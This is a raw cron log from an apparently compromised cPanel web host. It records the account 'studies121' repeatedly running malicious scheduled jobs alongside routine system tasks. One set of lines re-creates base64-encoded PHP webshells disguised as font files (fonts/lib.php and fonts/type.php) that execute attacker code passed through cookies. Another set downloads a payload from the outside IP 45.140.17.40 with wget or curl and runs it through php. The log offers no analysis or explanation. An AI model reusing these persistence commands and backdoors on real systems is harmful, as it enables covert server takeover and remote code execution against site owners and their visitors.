Sep  1 09:13:01 ip-184-168-122-23 CROND[26546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:13:01 ip-184-168-122-23 CROND[26547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:13:01 ip-184-168-122-23 CROND[26548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:13:01 ip-184-168-122-23 CROND[26551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:14:01 ip-184-168-122-23 CROND[26688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:14:01 ip-184-168-122-23 CROND[26689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:14:01 ip-184-168-122-23 CROND[26692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:14:01 ip-184-168-122-23 CROND[26694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:14:01 ip-184-168-122-23 CROND[26695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:15:01 ip-184-168-122-23 CROND[26876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:15:01 ip-184-168-122-23 CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:15:01 ip-184-168-122-23 CROND[26880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:15:01 ip-184-168-122-23 CROND[26881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:15:01 ip-184-168-122-23 CROND[26879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:15:01 ip-184-168-122-23 CROND[26882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:16:01 ip-184-168-122-23 CROND[27019]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:16:01 ip-184-168-122-23 CROND[27022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:16:01 ip-184-168-122-23 CROND[27021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:16:01 ip-184-168-122-23 CROND[27024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:16:01 ip-184-168-122-23 CROND[27026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:16:01 ip-184-168-122-23 CROND[27025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:17:01 ip-184-168-122-23 CROND[27163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:17:01 ip-184-168-122-23 CROND[27164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:17:01 ip-184-168-122-23 CROND[27165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:17:01 ip-184-168-122-23 CROND[27166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:18:01 ip-184-168-122-23 CROND[27281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:18:01 ip-184-168-122-23 CROND[27283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:18:01 ip-184-168-122-23 CROND[27285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:18:01 ip-184-168-122-23 CROND[27286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:18:01 ip-184-168-122-23 CROND[27284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:19:01 ip-184-168-122-23 CROND[27434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:19:01 ip-184-168-122-23 CROND[27433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:19:01 ip-184-168-122-23 CROND[27432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:19:01 ip-184-168-122-23 CROND[27435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:20:01 ip-184-168-122-23 CROND[27564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:20:01 ip-184-168-122-23 CROND[27563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27569]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27572]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:20:01 ip-184-168-122-23 CROND[27574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:21:02 ip-184-168-122-23 CROND[27761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:21:02 ip-184-168-122-23 CROND[27763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:21:02 ip-184-168-122-23 CROND[27765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:21:02 ip-184-168-122-23 CROND[27764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:22:02 ip-184-168-122-23 CROND[27856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:22:02 ip-184-168-122-23 CROND[27858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:22:02 ip-184-168-122-23 CROND[27861]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:22:02 ip-184-168-122-23 CROND[27859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:22:02 ip-184-168-122-23 CROND[27860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:23:01 ip-184-168-122-23 CROND[27983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:23:01 ip-184-168-122-23 CROND[27984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:23:01 ip-184-168-122-23 CROND[27986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:23:01 ip-184-168-122-23 CROND[27987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:24:01 ip-184-168-122-23 CROND[28098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:24:01 ip-184-168-122-23 CROND[28099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:24:01 ip-184-168-122-23 CROND[28101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:24:01 ip-184-168-122-23 CROND[28105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:24:01 ip-184-168-122-23 CROND[28106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:25:01 ip-184-168-122-23 CROND[28233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
